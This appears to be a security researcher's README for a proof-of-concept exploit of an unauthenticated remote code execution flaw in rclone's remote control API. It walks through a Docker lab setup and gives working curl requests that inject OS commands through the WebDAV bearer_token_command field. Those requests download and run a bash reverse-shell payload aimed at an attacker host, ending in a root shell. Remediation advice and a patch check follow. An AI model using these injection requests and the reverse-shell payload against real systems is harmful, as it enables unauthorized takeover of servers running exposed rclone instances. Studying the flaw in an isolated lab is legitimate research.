CVE-2026-41179 — rclone RC API Unauthenticated RCE

⚠️ EDUCATIONAL PURPOSES ONLY This repository is intended strictly for security research, education, and authorized lab environments. PSSec and the contributors of this repository do not condone, support, or take any responsibility for any unauthorized, illegal, or malicious use of the information, code, or techniques contained herein. By using this repository you agree that you are solely responsible for your actions and that you will only test against systems you own or have explicit written permission to test.

Overview

CVE-2026-41179 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in rclone's built-in Remote Control (RC) API, affecting versions 1.48.0 through 1.73.4.

How It Works

rclone ships with a built-in HTTP remote control interface (rcd). The /operations/fsinfo endpoint accepts a user-supplied fs= string that is parsed and used to instantiate a backend — including the WebDAV backend. The WebDAV backend supports a bearer_token_command parameter, which is passed directly to exec.Command() without sanitization. Because no authentication is required on this endpoint by default, an unauthenticated attacker can trigger arbitrary OS command execution as the rclone process user.

Attack chain in brief:

POST /operations/fsinfo (no auth)
  → rc.GetFs() parses attacker-controlled fs= string
    → WebDAV backend instantiated with attacker params
      → bearer_token_command extracted
        → exec.Command() fires OS command
          → RCE as rclone process user

Repository Structure

CVE-2026-41179/
├── Dockerfile.rclone          # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone  # Patched rclone image (v1.73.5)
├── poc.sh                     # Reverse shell payload
└── instructions               # Step-by-step lab walkthrough

Lab Setup & Exploitation (Step-by-Step)

Prerequisites

• Docker
• A listener: penelope or netcat
• Python 3 (for serving the payload)

Step 1 — Build the Vulnerable Docker Image

docker build -t rclone-vuln -f Dockerfile.rclone .

Builds a Debian-slim container running rclone v1.69.3 with the RC API exposed on port 5572.

Step 2 — Run the Vulnerable Container

docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln

The RC API is now accessible unauthenticated at http://127.0.0.1:5572.

Step 3 — Start Your Listener

penelope -p 5555
# OR
nc -lvnp 5555

Step 4 — Configure the Reverse Shell Payload

Edit poc.sh and set your attacker IP and listening port:

#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1

Step 5 — Serve the Payload over HTTP

Run this from the same directory as poc.sh:

python3 -m http.server 8888

Step 6 — Download the Payload to the Target

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'

Step 7 — Make the Payload Executable

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'

Step 8 — Execute the Payload

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'

Step 9 — Catch the Shell

Check your listener — you should receive a root shell from the container:

[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root

Step 10 — Verify the Patch

Repeat Steps 1–8 using the patched image to confirm the vulnerability is fixed:

docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched

Send the same curl request against port 5573 — the command should not execute.

Remediation

• Upgrade rclone to v1.73.5 or later — authentication is now enforced on all RC endpoints by default.
• If you cannot upgrade immediately, start rcd with --rc-user and --rc-pass flags to require credentials.
• Restrict network access to the RC port (5572) via firewall rules — it should never be exposed to untrusted networks.
• Consider using --rc-no-auth=false (the new default in patched versions) explicitly in startup scripts.

Disclaimer

This repository is provided for educational and authorized security research purposes only. The proof-of-concept code demonstrates a real vulnerability in a controlled Docker lab environment.

PSSec and all contributors:

• Do not authorize or encourage exploitation of systems without explicit written permission from the system owner.
• Take no responsibility for any damage, data loss, legal consequences, or misuse arising from the use of this material.
• Recommend that all testing be performed only in isolated lab environments that you own or are explicitly authorized to test.

Unauthorized use of this code against production systems or systems you do not own may violate computer fraud and cybercrime laws in your jurisdiction.

CVE-2026-41179 — Research by PSSec